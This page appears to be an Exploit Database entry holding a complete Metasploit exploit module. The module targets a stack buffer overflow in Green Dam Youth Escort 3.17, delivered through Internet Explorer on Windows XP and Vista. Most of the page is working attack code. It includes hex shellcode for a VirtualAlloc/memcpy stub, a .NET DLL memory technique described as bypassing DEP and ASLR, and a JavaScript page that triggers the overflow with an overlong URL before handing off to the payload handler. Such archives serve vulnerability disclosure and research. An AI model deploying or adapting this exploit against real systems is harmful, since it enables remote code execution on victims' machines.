



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Green Dam 3.17 - URL Processing Buffer Overflow (Metasploit)

EDB-ID:

8969

CVE:

EDB Verified: 

Author:

[TRANCER](#)

Type:

[REMOTE](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2009-06-16

Vulnerable App: 



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
##
# greendam_url.rb
#
# Green Dam URL Processing Buffer Overflow exploit for the Metasploit
# Framework
#
# Green Dam Youth Escort 3.17 successfully exploited on the following
# platforms:
# - Internet Explorer 6, Windows XP SP2
# - Internet Explorer 7, Windows XP SP3
# - Internet Explorer 7, Windows Vista SP1
#
# .NET binary is used to bypass DEP and ASLR
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Green Dam URL Processing Buffer Overflow',
      'Description'   => %q{
        This module exploits a stack-based buffer overflow in Green
        Dam Youth Escort
        version 3.17 in the way it handles overly long URLs.
        By setting an overly long URL, an attacker can overrun a
        buffer and execute
        arbitrary code. This module uses the .NET DLL memory
        technique by Alexander
        Sotirov and Mark Dowd and should bypass DEP, NX and ASLR.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'Trancer <mtrancer[at]gmail.com>' ],
      'Version'       => '$Revision:$',
      'References'    =>
        [
          ['URL', 'http://www.cse.umich.edu/~jhalderm/pub/gd/'],
          ['URL', 'http://www.milw0rm.com/exploits/8938'],
          ['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'], # .NET DLL memory
          # Analysis of the Green Dam Censorware System
          # Original exploit by seer[N.N.U]
          technique
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'      => 1000,
          'BadChars'   => "\x00",
          'Compat'     =>
            {
              'ConnectionType' => '-find',
            },
          'StackAdjustment' => -3500,
          # Temporary stub virtualalloc() + memcpy() payload to
          RWX page
          'PrependEncoder' =>

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
"\x49\x8b\x34\x8b\x01\xee\x31\xff\xff\x31\xc0\xac\x38\xe0\x74\x07"+
"\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
"\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
"\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
"\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+
"\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+
"\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+
"\x00\xff\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"
    },
    'Platform'      => 'win',
    'Targets'       =>
    [
      [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0
SP0-2 & IE 7.0', { } ],
    ],
    'DisclosureDate' => 'Jun 11 2009',
    'DefaultTarget'  => 0))
end

def on_request_uri(cli, request)

  ibase = 0x24240000
  vaddr = ibase + 0x2065

  if (request.uri.match(/\.dll$/i))

    print_status("Sending DLL to #{cli.peerhost}:#
#{cli.peerport}...")

    return if ((p = regenerate_payload(cli)) == nil)

    # First entry points to the table of pointers
    vtable = [ vaddr + 4 ].pack("V")
    cbase  = ibase + 0x2065 + (256 * 4)

    # Build a function table
    255.times { vtable << [cbase].pack("V") }

    # Append the shellcode
    vtable << p.encoded
    send_response(
      cli,
      Rex::Text.to_dotnetmem(ibase, vtable),
      {
        'Content-Type' => 'application/x-msdownload',
        'Connection'   => 'close',
        'Pragma'       => 'no-cache'
      }
    )
    return
  end

  print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")

  j_function = rand_text_alpha(rand(100)+1)
  j_url      = rand_text_alpha(rand(100)+1)
  j_counter  = rand_text_alpha(rand(30)+2)

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

    html = %Q|<html>
<head>
<script language="javascript">
  function #{j_function}() {
    var #{j_url}='';
    for(var #{j_counter}=1;#{j_counter}<=2035;#{j_counter}++)
      #{j_url}+='$';

    window.location=#{j_url}+'.html';
  }
</script>
</head>
<body onload="#{j_function}()">
  <object classid="#{get_resource + "/generic-" + Time.now.to_i.to_s +
".dll"}#GenericControl">
    <object>
</body>
</html>
|

# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })

# Handle the payload
handler(cli)
end
end

# milw0rm.com [2009-06-16]

```

Tags: [Metasploit Framework](#)
([MSE](#))

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.